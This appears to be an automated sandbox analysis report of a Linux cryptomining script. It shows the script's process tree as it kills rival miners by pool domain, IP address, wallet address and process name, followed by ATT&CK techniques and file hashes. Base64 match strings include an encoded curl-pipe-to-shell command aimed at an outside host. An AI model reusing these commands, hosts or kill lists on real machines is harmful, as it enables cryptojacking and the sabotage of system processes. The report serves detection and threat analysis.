/bin/grepgrep miner.sh2⤵PID:1490
-
-
/bin/grepgrep -v grep2⤵PID:1489
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1488
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1499
-
-
/bin/grepgrep curl2⤵PID:1497
-
-
/bin/grepgrep miner.sh2⤵PID:1496
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1498
-
-
/bin/grepgrep -v grep2⤵PID:1495
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1494
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1505
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1504
-
-
/bin/grepgrep wget2⤵PID:1503
-
-
/bin/grepgrep nullcrew2⤵PID:1502
-
-
/bin/grepgrep -v grep2⤵PID:1501
-
-
/bin/psps aux2⤵PID:1500
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1511
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1510
-
-
/bin/grepgrep curl2⤵PID:1509
-
-
/bin/grepgrep nullcrew2⤵PID:1508
-
-
/bin/grepgrep -v grep2⤵PID:1507
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1506
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1516
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1515
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1514
-
-
/bin/grepgrep -v grep2⤵PID:1513
-
-
/bin/psps aux2⤵PID:1512
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1521
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1520
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1519
-
-
/bin/grepgrep -v grep2⤵PID:1518
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1517
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1526
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1525
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1524
-
-
/bin/grepgrep -v grep2⤵PID:1523
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1522
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1531
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1530
-
-
/bin/grepgrep 144.217.45.452⤵PID:1529
-
-
/bin/grepgrep -v grep2⤵PID:1528
-
-
/bin/psps aux2⤵PID:1527
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1536
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1535
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1534
-
-
/bin/grepgrep -v grep2⤵PID:1533
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1532
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1541
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1540
-
-
/bin/grepgrep 176.31.6.162⤵PID:1539
-
-
/bin/grepgrep -v grep2⤵PID:1538
-
-
/bin/psps aux2⤵PID:1537
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1546
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1545
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1544
-
-
/bin/grepgrep -v grep2⤵PID:1543
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1542
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1551
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1550
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1549
-
-
/bin/grepgrep -v grep2⤵PID:1548
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1547
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1556
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1555
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵PID:1554
-
-
/bin/grepgrep -v grep2⤵PID:1553
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1552
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1561
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1560
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1559
-
-
/bin/grepgrep -v grep2⤵PID:1558
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1557
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1566
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1565
-
-
/bin/grepPID:1564
-
-
/bin/grepgrep -v grep2⤵PID:1563
-
-
/bin/psps auxf2⤵PID:1562
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1571
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1570
-
-
/bin/grepgrep monerohash.com2⤵PID:1569
-
-
/bin/grepgrep -v grep2⤵PID:1568
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1567
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1576
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1575
-
-
/bin/grepgrep /tmp/a7b104c2702⤵PID:1574
-
-
/bin/grepgrep -v grep2⤵PID:1573
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1572
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1581
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1580
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1579
-
-
/bin/grepgrep -v grep2⤵PID:1578
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1577
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1586
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1585
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1584
-
-
/bin/grepgrep -v grep2⤵PID:1583
-
-
/bin/psps auxf2⤵PID:1582
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1591
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1590
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1589
-
-
/bin/grepgrep -v grep2⤵PID:1588
-
-
/bin/psps auxf2⤵PID:1587
-
-
/bin/grepgrep -v grep2⤵PID:1593
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1595
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1596
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1594
-
-
/bin/psps auxf2⤵PID:1592
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1601
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1600
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1599
-
-
/bin/grepgrep -v grep2⤵PID:1598
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1597
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1605
-
/usr/local/sbin/killkill -9 16033⤵PID:1606
-
-
/usr/local/bin/killkill -9 16033⤵PID:1606
-
-
/usr/sbin/killkill -9 16033⤵PID:1606
-
-
/usr/bin/killkill -9 16033⤵PID:1606
-
-
/sbin/killkill -9 16033⤵PID:1606
-
-
/bin/killkill -9 16033⤵PID:1606
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1604
-
-
/bin/grepgrep xiaoyao2⤵PID:1603
-
-
/bin/psps auxf2⤵PID:1602
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1610 -
/usr/local/sbin/killkill -9 16083⤵PID:1611
-
-
/usr/local/bin/killkill -9 16083⤵PID:1611
-
-
/usr/sbin/killkill -9 16083⤵PID:1611
-
-
/usr/bin/killkill -9 16083⤵PID:1611
-
-
/sbin/killkill -9 16083⤵PID:1611
-
-
/bin/killkill -9 16083⤵PID:1611
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1609
-
-
/bin/grepgrep xiaoxue2⤵PID:1608
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1607
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1617
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1615
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1614
-
-
/bin/grepgrep 46.243.253.152⤵PID:1613
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1616
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1623
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1622
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1621
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1620
-
-
/bin/grepgrep 176.31.6.162⤵PID:1619
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1629
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1628
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1627
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1626
-
-
/bin/grepgrep 108.174.197.762⤵PID:1625
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1635
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1634
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1633
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1632
-
-
/bin/grepgrep 192.236.161.62⤵PID:1631
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1641
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1640
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1639
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1638
-
-
/bin/grepgrep 88.99.242.922⤵PID:1637
-
-
/bin/systemctlsystemctl stop c3pool_miner.service2⤵
- Enumerates kernel/hardware configuration
PID:1642
-
-
/usr/bin/pkillpkill -f pastebin2⤵PID:1643
-
-
/usr/bin/pkillpkill -f ssh-agent2⤵
- Reads runtime system information
PID:1644
-
-
/usr/bin/pkillpkill -f 185.193.127.1152⤵
- Reads runtime system information
PID:1645
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1647
-
-
/usr/bin/pgreppgrep -f monerohash2⤵PID:1646
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1649
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1648
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1651
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1650
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1653
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵PID:1652
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1655
-
-
/usr/bin/pgreppgrep -f mixtape2⤵PID:1654
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1657
-
-
/usr/bin/pgreppgrep -f addnj2⤵PID:1656
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1659
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵
- Reads CPU attributes
PID:1658
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1661
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵PID:1660
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1663
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵
- Reads runtime system information
PID:1662
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1665
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵PID:1664
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1667
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵PID:1666
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1669
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵PID:1668
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1671
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵
- Reads CPU attributes
PID:1670
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1673
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵
- Reads runtime system information
PID:1672
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1675
-
-
/usr/bin/pgreppgrep -f stratum2⤵PID:1674
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1677
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵
- Reads CPU attributes
PID:1676
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1679
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵
- Reads CPU attributes
PID:1678
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1681
-
-
/usr/bin/pgreppgrep -f cryptonight2⤵PID:1680
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1683
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵
- Reads runtime system information
PID:1682
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1685
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵
- Reads runtime system information
PID:1684
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1687
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵
- Reads runtime system information
PID:1686
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1689
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵
- Reads CPU attributes
PID:1688
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1691
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵PID:1690
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1693
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵PID:1692
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1695
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵PID:1694
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1697
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵
- Reads CPU attributes
PID:1696
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1699
-
-
/usr/bin/pgreppgrep -f ./pces2⤵
- Reads CPU attributes
PID:1698
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1701
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵PID:1700
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1703
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵PID:1702
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1705
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵PID:1704
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1707
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵
- Reads CPU attributes
PID:1706
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1709
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵PID:1708
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1711
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵PID:1710
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1713
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵PID:1712
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1715
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵PID:1714
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1717
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵PID:1716
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1719
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵
- Reads CPU attributes
PID:1718
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1721
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵
- Reads CPU attributes
PID:1720
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1723
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵
- Reads CPU attributes
PID:1722
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1725
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵PID:1724
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1727
-
-
/usr/bin/pgreppgrep -f jawa2⤵PID:1726
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1729
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵
- Reads CPU attributes
PID:1728
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1731
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵PID:1730
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1733
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵PID:1732
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1735
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵PID:1734
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1737
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵PID:1736
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1739
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵
- Reads CPU attributes
PID:1738
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1741
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1740
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1743
-
-
/usr/bin/pgreppgrep -f servim2⤵PID:1742
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1745
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1744
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1747
-
-
/usr/bin/pgreppgrep -f native_svc2⤵PID:1746
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1749
-
-
/usr/bin/pgreppgrep -f ynn2⤵PID:1748
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1751
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵
- Reads CPU attributes
PID:1750
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1753
-
-
/usr/bin/pgreppgrep -f jmxx2⤵PID:1752
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1755
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵PID:1754
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1757
-
-
/usr/bin/pgreppgrep -f sysstats2⤵PID:1756
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1759
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵
- Reads CPU attributes
PID:1758
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1761
-
-
/usr/bin/pgreppgrep -f watchbog2⤵PID:1760
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1763
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵PID:1762
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵PID:1764
-
-
/usr/bin/pkillpkill -f Loopback2⤵PID:1765
-
-
/usr/bin/pkillpkill -f apaceha2⤵PID:1766
-
-
/usr/bin/pkillpkill -f cryptonight2⤵PID:1767
-
-
/usr/bin/pkillpkill -f stratum2⤵
- Reads CPU attributes
PID:1768
-
-
/usr/bin/pkillpkill -f mixnerdx2⤵PID:1769
-
-
/usr/bin/pkillpkill -f performedl2⤵
- Reads runtime system information
PID:1770
-
-
/usr/bin/pkillpkill -f JnKihGjn2⤵PID:1771
-
-
/usr/bin/pkillpkill -f irqba2anc12⤵PID:1772
-
-
/usr/bin/pkillpkill -f irqba5xnc12⤵PID:1773
-
-
/usr/bin/pkillpkill -f irqbnc12⤵PID:1774
-
-
/usr/bin/pkillpkill -f ir29xc12⤵
- Reads CPU attributes
PID:1775
-
-
/usr/bin/pkillpkill -f conns2⤵
- Reads CPU attributes
PID:1776
-
-
/usr/bin/pkillpkill -f irqbalance2⤵PID:1777
-
-
/usr/bin/pkillpkill -f crypto-pool2⤵PID:1778
-
-
/usr/bin/pkillpkill -f XJnRj2⤵
- Reads CPU attributes
PID:1779
-
-
/usr/bin/pkillpkill -f mgwsl2⤵PID:1780
-
-
/usr/bin/pkillpkill -f pythno2⤵PID:1781
-
-
/usr/bin/pkillpkill -f jweri2⤵PID:1782
-
-
/usr/bin/pkillpkill -f lx262⤵PID:1783
-
-
/usr/bin/pkillpkill -f NXLAi2⤵PID:1784
-
-
/usr/bin/pkillpkill -f BI5zj2⤵PID:1785
-
-
/usr/bin/pkillpkill -f askdljlqw2⤵PID:1786
-
-
/usr/bin/pkillpkill -f minerd2⤵PID:1787
-
-
/usr/bin/pkillpkill -f minergate2⤵PID:1788
-
-
/usr/bin/pkillpkill -f Guard.sh2⤵
- Reads runtime system information
PID:1789
-
-
/usr/bin/pkillpkill -f ysaydh2⤵PID:1790
-
-
/usr/bin/pkillpkill -f bonns2⤵PID:1791
-
-
/usr/bin/pkillpkill -f donns2⤵PID:1792
-
-
/usr/bin/pkillpkill -f kxjd2⤵
- Reads CPU attributes
PID:1793
-
-
/usr/bin/pkillpkill -f Duck.sh2⤵
- Reads CPU attributes
PID:1794
-
-
/usr/bin/pkillpkill -f bonn.sh2⤵
- Reads CPU attributes
PID:1795
-
-
/usr/bin/pkillpkill -f conn.sh2⤵PID:1796
-
-
/usr/bin/pkillpkill -f kworker342⤵PID:1797
-
-
/usr/bin/pkillpkill -f kw.sh2⤵PID:1798
-
-
/usr/bin/pkillpkill -f pro.sh2⤵PID:1799
-
-
/usr/bin/pkillpkill -f polkitd2⤵
- Reads runtime system information
PID:1800
-
-
/usr/bin/pkillpkill -f acpid2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1801
-
-
/usr/bin/pkillpkill -f icb5o2⤵PID:1802
-
-
/usr/bin/pkillpkill -f nopxi2⤵PID:1803
-
-
/usr/bin/pkillpkill -f irqbalanc12⤵
- Reads CPU attributes
PID:1804
-
-
/usr/bin/pkillpkill -f minerd2⤵PID:1805
-
-
/usr/bin/pkillpkill -f i5862⤵PID:1806
-
-
/usr/bin/pkillpkill -f gddr2⤵PID:1807
-
-
/usr/bin/pkillpkill -f mstxmr2⤵PID:1808
-
-
/usr/bin/pkillpkill -f ddg.20112⤵PID:1809
-
-
/usr/bin/pkillpkill -f wnTKYg2⤵
- Reads CPU attributes
PID:1810
-
-
/usr/bin/pkillpkill -f deamon2⤵PID:1811
-
-
/usr/bin/pkillpkill -f disk_genius2⤵
- Reads runtime system information
PID:1812
-
-
/usr/bin/pkillpkill -f sourplum2⤵PID:1813
-
-
/usr/bin/pkillpkill -f polkitd2⤵PID:1814
-
-
/usr/bin/pkillpkill -f nanoWatch2⤵PID:1815
-
-
/usr/bin/pkillpkill -f zigw2⤵PID:1816
-
-
/usr/bin/pkillpkill -f devtool2⤵PID:1817
-
-
/usr/bin/pkillpkill -f devtools2⤵PID:1818
-
-
/usr/bin/pkillpkill -f systemctI2⤵
- Reads CPU attributes
PID:1819
-
-
/usr/bin/pkillpkill -f watchbog2⤵
- Reads CPU attributes
PID:1820
-
-
/usr/bin/pkillpkill -f cryptonight2⤵PID:1821
-
-
/usr/bin/pkillpkill -f sustes2⤵PID:1822
-
-
/usr/bin/pkillpkill -f xmrig2⤵
- Reads CPU attributes
PID:1823
-
-
/usr/bin/pkillpkill -f xmrig-cpu2⤵
- Reads runtime system information
PID:1824
-
-
/usr/bin/pkillpkill -f 121.42.151.1372⤵
- Reads CPU attributes
PID:1825
-
-
/usr/bin/pkillpkill -f sysguard2⤵PID:1826
-
-
/usr/bin/pkillpkill -f networkservice2⤵PID:1827
-
-
/usr/bin/pkillpkill -f sysupdate2⤵PID:1828
-
-
/usr/bin/pkillpkill -f phpguard2⤵PID:1829
-
-
/usr/bin/pkillpkill -f phpupdate2⤵PID:1830
-
-
/usr/bin/pkillpkill -f networkmanager2⤵PID:1831
-
-
/usr/bin/pkillpkill -f /tmp/init12.cfg2⤵PID:1832
-
-
/usr/bin/pkillpkill -f kieuanilam.me2⤵PID:1833
-
-
/usr/bin/pkillpkill -f init12.cfg2⤵PID:1834
-
-
/usr/bin/pkillpkill -f nginxk2⤵PID:1835
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Scheduled Task/Job
1Cron
1Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5B
MD5727479ef7cedf30c03459bec7d87b0f0
SHA12082e7f715f058acab2398d25d135cf5f4c0ce41
SHA25629872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA5124cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba
-
Filesize
825B
MD5bf2b2dbe177af125ffe40723c547d7c2
SHA1ec586d9739e97b901a36c6351ab5a6067808c892
SHA256f24352f20027e2087bb75c02c14e10e34438c1bde606c204b590f95d65230e94
SHA51223348c5445ddc89de02f68b4e44319877716d1cc064678901602041de266343328827938715868d67d95cd31a7c967f99105ce949142cc63cd90d1bf88344ed5
-
Filesize
1KB
MD5fcdcb48635229f65095188362c1f8981
SHA189d0508c22c4d09926507987ef3d22fe603d51f0
SHA2563041896a6ee02b0e7d78af2008eac07941f35be0559ae65acaf9e70b65bfda98
SHA512082854ae093ce467d87eaa238a378f90499bc1dc9ffee34ff58568bd6b6c43bb18a23a1871978f784024a3fe1f7c286f7d2ce36d8c0df16a15b312dd922ba859
-
Filesize
248B
MD53d360b833502335186d9dc7e8277303c
SHA1e2565fd9f43349f31e1ac091319afee95ce88c10
SHA2568841021026a994f2c1ca470913d7d0ff0f0d636d8e7f4016bebc31ff32c4c687
SHA512b7d233ab739f12ba37b3481444f3421c5a5712444cdad372b72626c5ebc6052666fad13a94ca3b4fc7186c9ca0fe4b877f5a973a9ac1d301155d98a4d1077680
-
Filesize
248B
MD552745796c1ee8c82255a4da5ce8f86dc
SHA1b282a3397caaedbea91fe98aa64ab6a47b281e84
SHA2561c8172cf66ba1c762a0d3e349d2e0ebbe937bbfa0d8625f3b2fd9a9fcaf12ced
SHA51218f63d7ea031d619c25dee6d059592d444de40c75ac9451ad9607305b872f505bedd9f6c6b4fbab1bdf83e06c21b17295b35d29cac7671e4dda6f1a3f0efacbf
-
Filesize
248B
MD568a0996240c519645c4aefa9d36bf373
SHA13906130dd6d575bc9e28970695548faf261fa325
SHA25649236beb6149405996f7cb6118652d436fd7db9aaa4a05831669117417de6e02
SHA5120bff8b156726db4877a249307dc5d5f52e54e2149a4acb0e5ed1b11e12a9bbb2a03f626056623f67bfd002d475274e6e882032f9507171ac95f161178459cbff
-
Filesize
248B
MD5b2d4b8c34e6cd08cd613ebc86d69c38d
SHA1b0609d643cbffb8b41cb290ab9fdcb1fcc05c89a
SHA256c04e6f46d11db6d0ad585556c7a4a418c021eaf2d21ceff4391e3543ba726dc0
SHA512aba7cbde8a019a91c710492bc5e991c411461b706c9b296527de27164099c396edba3c4847aa50441db48f82e0c87ac36137b5304ad6ec3116f9162e1247c6cb
-
Filesize
248B
MD5ce82d0384a5306f71e62d7b7973a377e
SHA14007ede99f4828fa58496f55d165dcd5c9120180
SHA256718700544947a47a54095fe17be957a97f80873f162c91f8cf19990b08f73d1e
